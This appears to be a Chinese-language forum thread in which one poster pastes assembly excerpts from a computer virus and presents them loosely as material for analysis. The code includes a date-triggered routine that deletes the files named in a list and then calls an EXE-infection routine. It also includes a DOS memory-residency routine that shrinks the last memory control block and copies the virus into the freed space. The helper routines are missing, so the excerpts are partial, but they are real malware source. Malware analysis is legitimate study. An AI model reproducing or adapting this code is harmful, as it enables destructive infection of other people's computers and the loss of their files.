顶,正想学这类
照楼主的意思我们也可以这样子写写: 我们随便拿个病毒来分析一下其中它是怎么对文件进行操作. -----------读取DAW并删除其指定文件--------- GETDAWFILE: MOV DR1,ESI ;被操作文件名尾指针->DR1 MOV AX,0D500H XOR EBX,EBX XOR ECX,ECX XOR EDX,EDX ;MOV EDX,1 INC EDX LEA ESI,EDI[COM_FN-START] CALL INT20_40_32 JC FIND_NOCOM MOV EBX,EAX MOV AX,0D800H CALL INT20_40_32 JC CLOSE_GETCOM MOV ECX,EAX XOR EDX,EDX LEA ESI,EDI[COMLINE-START] CALL READFILE CLOSE_GETCOM: MOV AX,0D700H CALL INT20_40_32 CLD XCHG ESI,EDI ;ESI->@ EDI->COMLINE MOV AX,000DH REPL_CON: REPNZ SCASB JECXZ EXIT_REPL_LOOP DEC EDI INC ECX MOV [EDI],AH JMP REPL_CON DW 87C7H EXIT_REPL_LOOP: XCHG EDI,ESI ;EDI->@ ESI->COMLINE末 CMP [ESI-3],BYTE PTR '#' JNZ FIND_NOCOM MOV AL ,07H OUT 70H,AL IN AL ,71H MOV CL ,AL MOV AL ,08H OUT 70H,AL IN AL ,71H MOV CH ,AL MOV AH,'0' MOV DX,[ESI-7] ;读月 SUB DH,AH SUB DL,AH SHL DL,4 ADD DL,DH OR DL,DL JZ IGNOREMONTH CMP DL,CH JNZ CMP_EXE IGNOREMONTH: MOV DX,[ESI-5] ;读日 SUB DH,AH SUB DL,AH SHL DL,4 ADD DL,DH OR DL,DL JZ FIND_NOCOM CMP DL,CL JNZ CMP_EXE FIND_NOCOM: MOV ESI,DR1 ADD EDI,OFFSET COMLINE-OFFSET START XOR AL ,AL OUT 70H,AL IN AL ,71H MOV BH,AL AND BH,00011111B ;比较秒(BH=SEC*2) XOR BL,BL XOR EDX,EDX DEC EDI DEC EDI DELF_LOOP: NOT BL ADD EDI,EDX INC EDI INC EDI CMP [EDI],BYTE PTR 0 JZ CMP_EXE CALL GET_STL MOV EDX,ECX PUSH ESI SUB ESI,EDX CALL CMP_ST POP ESI JNZ DELF_LOOP OR BL,BL JNZ DEL_IT_EVERYTIME OR BH,BH JNZ DELF_LOOP DEL_IT_EVERYTIME: CALL DEL_FILE JMP EXITAPI DW 87C7H ;-----------读取DAW并删除其指定文件--------- CMP_EXE: MOV ESI,DR1 MOV EAX,NOT('EXE.') ;是否为EXE文件 NOT EAX CMP [ESI-4],EAX JNZ EXITAPI CALL INF_EXE ;-------退出处理-------------------------- EXITAPI:MOV EDI,DR0 MOV EDI[ENTERF-START],BYTE PTR 0 CALLOLDAPI: POPAD MOV EAX,0 OLDAPI = DWORD PTR $-4 JMP [EAX]
;================================================================ no_active: --mov ah,52------;取磁盘缓冲区地址 --int 21 --mov bx,es:[bx-2]----;取第一个 MCB 地址 --xor di,di------;清DI loop_search: --mov es,bx------;查找最后一个MCB地址 --add bx,word ptr es:[di+3] --inc bx --cmp byte ptr es:[di],5a --jnz loop_search ;================Found Last MCB=========-- --mov bx,es------;保存找到的最后一个MCB地址---- --mov ax,word ptr es:[di+3]--;取最后一个MCB大小 --sub ax,vir_para------;剪去自己的PARA --jnc keep_in_memory----;溢出则表明不够驻留 --jmp run_host------;否则继续 keep_in_memory: --mov word ptr es:[di+3],ax--;改写最后一个MCB大小 --add bx,ax------;计算驻留区段地址 --inc bx --mov es,bx------;并送入ES --push cs --pop ds--------;令DS=CS --mov cx,vir_bytes----;将自己搬移 --cld --rep movsb